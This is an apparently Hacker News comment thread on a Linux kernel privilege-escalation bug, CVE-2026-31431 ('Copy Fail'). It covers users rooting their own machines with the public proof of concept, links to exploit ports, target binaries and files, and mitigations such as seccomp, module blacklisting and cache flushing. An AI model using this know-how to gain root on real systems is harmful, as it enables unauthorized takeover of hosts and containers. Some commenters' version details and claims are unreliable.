I only refer to my kids by their social security numbers until they do something suitably remarkable.
I guess it’s a good thing I’m not a SovCit or I’d just have to call them Traveller Three and Traveller Four
For anyone else that was curious they're log4j, shellshock, and spectre
It's certainly marketing, but it's prosocial: there's no scarcity of names, and "copy.fail" is much easier to remember and talk about than "CVE-2026-31431".
The AI generated prose screams marketing. Marketing is why there's a "Contact our Security Team" form at the bottom of the page.
Probably to some extent it is marketing, but generally it has to do with significant bug finds to get the message out to the people who need to apply patches and/or be informed. Heartbleed, Log4Shell, etc.
Very few CVE’s get names dedicated to them like this, because usually when they do - it is very serious, as in this case.
Giving catchy names for bad exploits has been a thing for a while. Probably to make sure it's easy to reference and make sure you're patches as opposed to passing numbers around. Heartbleed, Shellshock, BEAST, Goto Fail, etc
Yes, originally it was to help spread awareness. Now it has become more of a gimmick I would say
It makes sure people don't forget about the vulnerabilities, at least
Same reason they name storms, numbers scare normies
Tried this on my arch VPS which has a few users that hasn't been rebooted for 122 days.
Got:
I guess AF_ALG is not part of the Arch Linux LTS kernel?Edit:
Looks like on Arch you have to go out of your way to have this enabled.
On my Arch boxes the official exploit works, both with the LTS kernel (6.18.21-1-lts) and the mainline release (6.19.6-arch1-1).
Yeah I think maybe it loads the module on demand. The problem is I've upgraded my kernel many times in the last 122 days which wipes out the running or last installed kernel modules directory. I'm guessing if I had my running kernel modules directory it would on demand load and I'd get root.
6.19.6 is nearly 2 months old, you should probably check your mirrors! 7.0.3 is in Arch already.
https://gitlab.archlinux.org/archlinux/packaging/packages/li...
Note that in kubernetes, setting `allowPrivilegeEscalation` to false (which you should be doing already, it's in the Pod Security Standards Restricted profile) mitigates this.
according to this reddit post https://www.reddit.com/r/kubernetes/comments/1szn6p1/comment...?
> the primary mitigation is still patching the node kernel; user namespaces are blast-radius reduction, not a complete mitigation for this path
allowPrivilegeEscalation is unrelated to user namespaces. Many vendors do not yet have kernel patches available, but yes that'll eventually be the proper fix.
They have a setting for that?
That's crazy, feels like prompting "make no mistakes" to the llm.
If it works, when would you want it turned on? Why isn't false the default
Because it would break all setuid binaries? Same reason the Linux kernel doesn't set no_new_privs (https://docs.kernel.org/userspace-api/no_new_privs.html) by default.
As an operator you are responsible for configuring your environment correctly. I would recommend starting here: https://kubernetes.io/docs/concepts/security/
https://kubernetes.io/docs/concepts/security/pod-security-st...
Relevant section
It's equivalent to setting no_new_privs on the container process, so it'd mean you have to grant a privelege to the container process if you want any children to have access to it. It sure sounds funny in a CVE context, though.
> Will you release the full PoC?
> Yes — it's on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing.
There is no update available for Ubuntu 24, PoC works and just tried updating.
Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!
It is trivial to re-write splice, just because the PoC uses it does not mean you're "not affected".
What is your Python version? Splice was added in 3.10.
https://docs.python.org/3/library/os.html#os.splice
Edited with an update.
do yourself a favor just pwn your laptop now with a sledgehammer and switch to an ipad or one of those big number phones for the elderly
As usual, Qubes is not vulnerable, since by its design, any untrusted software runs in dedicated VMs with hardware virtualization.
Meanwhile, recent Xen CVEs also do not affect Qubes, as usual, https://www.qubes-os.org/news/2026/04/28/xsas-released-on-20...
Why do you suppose Joanna Rutkowska made a point of calling Qubes OS "reasonably secure", rather than making claims like, "Qubes is not vulnerable" and "there is no attack vector"?
Because there is no absolute security. This is also a pun. I am not talking about every vulnerability in the world but about this one.
You know that Xen is just a hypervisor right? Dom0 (the admin Qube) is running the Linux kernel and is vulnerable like any other Linux system. DomU (App Qubes) also run the Linux kernel and are just as vulnerable.
You can check your DomU kernels using this guide:
https://doc.qubes-os.org/en/latest/user/advanced-topics/mana...
If your Dom0 or DomU is running kernel < 6.18.22, or between 6.19.0 and 16.19.12 you are vulnerable.
https://github.com/QubesOS/qubes-linux-kernel/pull/1272 commit fafe0fa2995a of the kernel mirror
Currently stable version of QubeOS does not have the patched kernels. https://yum.qubes-os.org/r4.3/current/dom0/fc41/rpm/
> Dom0 (the admin Qube) is running the Linux kernel and is vulnerable
Yes, it is vulnerable, except there is no attack vector, as you don't run any software there: https://doc.qubes-os.org/en/r4.3/user/downloading-installing...
> DomU (App Qubes) also run the Linux kernel and are just as vulnerable.
I think you misinterpret the Qubes approach to security. If you do everything in one VM, you get no protection from the virtualization. Moreover, there is no sudo password by design: https://doc.qubes-os.org/en/r4.3/user/security-in-qubes/vm-s... This is not how to use Qubes.
You need to compartmentalize your workflows. It doesn't matter if my disposable VM is compromised. My secrets are in another, offline VM, where I never run anything. There is no way to use the discussed vulnerability, if one uses Qubes according to docs. See examples here: https://doc.qubes-os.org/en/latest/user/how-to-guides/how-to...
So, not being vulnerable is dependent on not doing something that can make you vulnerable? That doesn't seem right. If you can do something to make yourself vulnerable, you are vulnerable.
> https://www.qubes-os.org/news/2026/04/28/xsas-released-on-20...
Looking at just that small list, they mark some vulnerabilities as not vulnerable because it's "In-VM attack only". That's disingenuous.
> There is no way to use the discussed vulnerability, if one uses Qubes according to docs
It's like saying you're not vulnerable to cutting yourself with a knife, as long as you use it correctly.
You can say your risk is low, but you can't say you're not vulnerable.
---
> Moreover, there is no sudo password by design
The POC uses `/usr/bin/su`, but that's besides the point.
The vulnerability itself can affect other things. The POC just used root-privilege escalation as an example.
https://access.redhat.com/security/cve/cve-2026-31431
RedHat states "This could lead to data integrity issues or unexpected behavior during cryptographic operations, impacting the reliability of encrypted communications for local users." as the impact.
To be completely fair, any kind of sandboxing inside of Qubes's VMs do not mean much, because it is on X11. Any app can pwn any other app lol.
With that being said, yeah, he's being disingenuous as per usual for sure. Part of Qubes hardening is trying to not allowing an attacker to gain root to make it harder to attack Xen, but our evangelist here claims it doesn't matter if an attacker has root :)
> So, not being vulnerable is dependent on not doing something that can make you vulnerable? That doesn't seem right. If you can do something to make yourself vulnerable, you are vulnerable.
On the one hand, you are right, and I rather meant "not exploitable", since technically the vulnerability is still there. On the other hand, yes, any security does rely on you not doing something stupid like "curl | sudo bash".
> "In-VM attack only". That's disingenuous.
It's really not. Hardening of guest OSes is out of scope of Qubes. You are supposed to not combine trusted and untrusted actions in a single VM, so intra-VM security is really secondary. I really recommend you to read my link about organizing the workflows.
You have a good point concerning the integrity issues though.
> On the one hand, you are right, and I rather meant "not exploitable", since technically the vulnerability is still there.
And I'm fine with that. I think, the Qubes OS notices should use that terminology as well. Though, some of the vulnerabilities are exploitable, if you don't follow the Qubes OS guides to the T.
For agents, if you are concerned about that, block access to "su" as it is interactive anyway. Not loading it into the memory will block the attack. If you are using AgentSH (https://www.agentsh.org) you can add a rule to block "su" and soon be able to block AF_ALG sockets if you want to further protect things.
This vulnerability can affect any file you can read. The PoC uses "su" but any setuid binary or any binary that root invokes or is already running as root is vulnerable, as well as many configuration files.
Anyone have any idea when Bottlerocket will acknowledge CVE? Seems like a critical for kubernetes nodes......
https://github.com/bottlerocket-os/bottlerocket/security/adv...
> Any setuid-root binary readable by the user works.
Interesting detail. On Alpine, `/usr/bin/su` is not readable by any user, so the PoC doesn't work.
I suspect that the underlying issue can be exploited in other ways, but it makes me think that there's no reason for any suid binary to be world-readable.
Wouldn't executing it still put it in the page cache, just in a different place?
holy smokes it just rooted my just installed from ISO Ubuntu server
Looks like a LLM hallucination - there is no thing like "RHEL 14.3", although referenced kernel signature (6.12.0-124.45.1.el10_1) contains reference to real RHEL release, i.e. 10.1.
I tried this exploit on Android and it looks like you need root in the first place to create an AF_ALG socket. I guess it is an SELinux policy to disable AF_ALG entirely.
And here is a no-reboot, ebpf-based blocker if you don't need the feature:
https://github.com/lestercheung/linux-copy-fail-workarounds/
I created something similar earlier today: https://github.com/atgreen/block-copyfail
> If your kernel was built between 2017 and the patch
This is why I compile my own kernel. I disable things I don't use. If it's not present it can't hurt you.
> block AF_ALG socket creation via seccomp regardless of patch state.
Likewise I use seccomp to only allow syscalls that are necessary. Everything else is disabled. In the programs I have that need to connect to a backend socket, that is done, and then socket creation is disabled.
Any pointers on how to set that up? Like, run all the things through strace, cut the first field, sort, uniq, run through some template and something somesuch what how?
I've (well, mostly Claude did) created a module that unloads the active AF_ALG (builtin) module and mitigates the exploit without having to reboot.
Tested on almalinux8/9
https://gist.github.com/42wim/2e3cc3c92333e4c2730541e6f0e038...
YMMV
looking good to me so far, thank you!
I checked it. Very nice efforts made to create it
SUID binaries once again assisted a local privilege escalation attack. This is a major problem that distros can't keep ignoring.
There's a claim upthread that a straightforward variation works against /etc/passwd.
You can also just use this to patch libc and turn close() into close-but-also-give-me-a-root-shell().
On the downside, I need to push new kernels to all my servers.
On this bright side, does this mean Magisk is coming to all unpatched Android phones?
No, Android doesn’t have suid binaries to exploit like in the PoC
The vulnerability can also be used on any binary that is already running as root and you can open for reading. So yes, any android app can now escalate to root if android has the vulnerable module.
Unfortunately another comment thread here says that it doesn't.
The "default exploit" would not work for me as there is no python nor /usr/bin/su on the computer I'm using
Failed to meet the assumptions I guess
NB. I'm only referring to the "default exploit" not the vulnerability itself
Any Setuid binary will work: passwd, chsh, chfn, mount, sudo, pkexec.
Fun day for people running bare metal GPU nodes, where teams have been training models for months, and now it must be abruptly aborted to apply security patches... is that something that can be resumed, or do they have to restart from scratch?
Has anyone seen patched kernel updates for Ubuntu yet? I’m not seeing anything available so far on my systems
0xdf made a nice breakdown video: https://www.youtube.com/watch?v=wQ914geKOcw
Despite the copy/images being weird about RHEL 14.3, this seems to work. Wow?
I wonder if this is a problem for very old honeypods like the one on turris omnia, sold many years ago. Docker wasn't a thing these days and everything was done with lcx containers, if at all.
s6-overlay is a popular container image base for many self hosted services, and it uses an suid binary for startup. I wonder if this could be used to escape the container?
So this could be usable in lot of places with Python and Linux running? Not that I have too many Linux devices around. Still, might be handy sometimes on personal devices.
This can likely be shipped as binary code without dependencies like python, as the bug is in the kernel.
C version here: https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb0...
[dead]
There's nothing specific about this related to Python, that's just demonstrating how it works.
This is usable anywhere on an affected Kernel version
I love how it says "Standalone PoC. Python 3.10+ stdlib only (os, socket, zlib). Targets /usr/bin/su by default; pass another setuid binary as argv[1]."
Except you can't pass another setuid binary as argv[1] because the AI writing this slop never added that feature to this python script.
I can't get it to work on any distro i've tried.
The landing page is just bad. There's no way around it.
The bug is pretty great. I feel bad for the researchers who did the work.
Does this affect my Hetzner VPSs running Ubuntu probably? Or Nebius H200 VMs?
They are probably Ubuntu 24 but don't remember.
Works on all my servers. This is terrifying.
Wow. I tried it on an old testing VM of Ubuntu 24.04 that had not been touched for a few months. Instant root with the bonus that any user that runs "su" gets root too. I updated the VM thinking it would be fixed afterward. Nope.
You’d have to reinstall the su binary itself I guess
It just changes the page cache for the su binary, a reboot will revert it.
No need to reboot:
sync && echo 3 >/proc/sys/vm/drop_caches
Are kernel crypto modules even loaded by default on enterprise distros
Attempting to open an AF_ALG socket will load the module on-demand if necessary.
AI marketing goes ballistic now
I tried this on NixOS, but it doesn't seem to be easily reproducible. There's no /usr/bin/su - okay, fine: I changed it to /run/wrappers/bin/su, but that didn't work, and I think the reason why is because the NixOS suid wrappers have +x but not +r:
Not that this makes the underlying mechanism of the exploit any better, but I wonder what else you can do with it. Is there a way to target a suid binary that doesn't have +r? I guess all of the suid binaries necessarily don't, since the wrapper system doesn't grant it and you can't have suid binaries in the /nix/store.I know it's also unrelated, but this is the most aggressively obvious LLM slop copy I've ever seen and it is a page with like 30 sentences. I guess we're just seriously doing this, huh?
It's the same with Gentoo, setuid binaries are installed without read permission.
But modifying a setuid binary is just the demo exploit that was published with the vulnerability disclosure. The vulnerability actually allows modifying four bytes in any readable file. That means system configuration files, other binaries intended to be run by root, libraries... It's not limited to modifying setuid binaries.
RHEL is listing this as fix deferred for RHEL 8 and 9.
They've bumped the severity and 8/9/10 are now 'affected'. Hope a patch comes soon!
Use extreme caution running arbitrary code on your machines, especially obfuscated code that tickles kernel bugs! (edited)
Analysis of the POC concurs with my tests that confirm that the portion of `su` that gets overwritten does not survive a reboot.
it's living in your page cache, not on your disk. flush the caches and it'll disappear.
Indeed. But it's easier to just kill a container or a k8s node and reprovision than to flush the caches
Should be able to just echo a 1 to /proc/sys/vm/drop_caches.
The page explicitly describes that it is stealthy as it does not make permanent changes, only corrupting the binary in memory.
unfortunately the page can also lie to you haha. it seems people have reviewed the code by now, but running suspicious shellcode you don't fully understand is never a great idea.
I personally had AI review the code, add comments, disassemble the shell code, etc.
that's quite smart. i was almost stupid enough to paste it into a terminal to check if it worked before deciding to wait and let others analyze it first haha
Can we just make a one-pager instead of this nonsense LLM bullet pointed list that is explaining this issue to your pointy-haired CEO instead of to sysadmins who understand the badness in 3 lines? Yeesh
Is this fixed in any stable release kernel yet?
7.0-rc1 has a tag with it:
I suspect this means the stable 7.0 has it too.You can tell security has become complete theatre when people are registering domains and setting up a whole fucking website for individual ones.
Does anyone have a workaround for it? Edit: I don't understand why the comment would be downvoted.
I used, for debian based systems:
There's some workarounds in https://copy.fail/#mitigation
[dead]
[dead]
[dead]
[flagged]
It does not behave as described on EndeavorOS (arch-based) running kernel 6.19.14-arch1-1. I receive the error:
Password: su: Authentication token manipulation error
I'm guessing this means it's already patched?
yes, it was reported on march 23rd, patches on april 1.
you are reading about it now because it has been patched.
No it hasn't.
Ubuntu before 26.04 LTS (released a week ago) are currently listed as vulnerable.
Debian other than forky and sid are currently listed as vulnerable.
This is a disgrace.
Disclosure timeline
kernel 6.19.14-arch1-1, the kernel in question from the parent comment, has been patched.The lesson here being... compile your own kernel from git sources every few days?
Give up entirely on non-virtualized container security?
This is not sarcasm. I'd finally given in and started learning about docker/podman-style OCI containerization last week.
in this specific case, they offer an alternative mitigation if your chosen distro has not updated yet:
For immediate mitigation, block AF_ALG socket creation via seccomp or blacklist the algif_aead module:
Thanks!
I'd do 'umask 133' in front of the echo out of paranoia.
Out of curiosity, was the asterisk after '2>/dev/null' intentional? I had not seen that idiom before.
the asterisk is my oops, trying to format the comment in italics to differentiate my comment from the text provided by the author. sorry for the confusion
And I would do chattr +i disable-algif.conf
are you sure containerization would be more secure? this is also a rootless podman escape. the lesson here is to not give random people shell access to your systems.
No, I meant that I'd resisted doing anything with Docker for its entire existence and just finally gave in and started messing with podman.
I have amazing timing.
I mean, most Kernel version literally got the patch 2026.04.30, so just today.
same result on my arch machine as well.
I'm impressed that such a serious problem popped up out of nowhere.
In my opinion, this mostly affects countries that are still using outdated systems, especially critical systems.
This gives bad actors a direct route to the root. Having an easily accessible root is not funny.
Yet, some people will still continue to say that "AI" isn't ready to replace (or strongly assist) our workflows, sure, some of the best humans devs left a vulnerability that serious (It's extremely serious, so many container as a service are vulnerable) for 9 years and an agent found it in 1 hour, maybe it's time to wake up and accept that it's UNSAFE to not use AI for security review as well?
A human security researcher found the core issue and an agent searched for where to apply it. I don’t think “an agent found it in one hour” is a fair summary of what happened.
"The starting insight — that splice() hands page-cache pages into the crypto subsystem and that scatterlist page provenance might be an under-explored bug class — came from human research by Taeyang Lee at Xint. From there, Xint Code scaled the audit across the entire crypto/ subsystem in roughly an hour. Copy Fail was the highest-severity finding in the run."
So, if anything, this might argue against the presence of huge quantities of high-severity bugs in this part of the Linux kernel (that could be found by "Xint Code"-class scanning systems).
I was a bit rough, agreed, but the overall point is still correct, I kinda want to emphasize that I've also ran hundred of loops recently (combination of opus-4.6/gpt-5.4/gemini-3.1-pro-preview) toward a Rust codebase that we manage and that we deemed secure after many audits and found 2 serious issues as well in it, this was also audited externally by a third party that we've paid, which makes me genuinely scared of releasing anything without deep AI verification nowadays.
Anybody has the same feeling?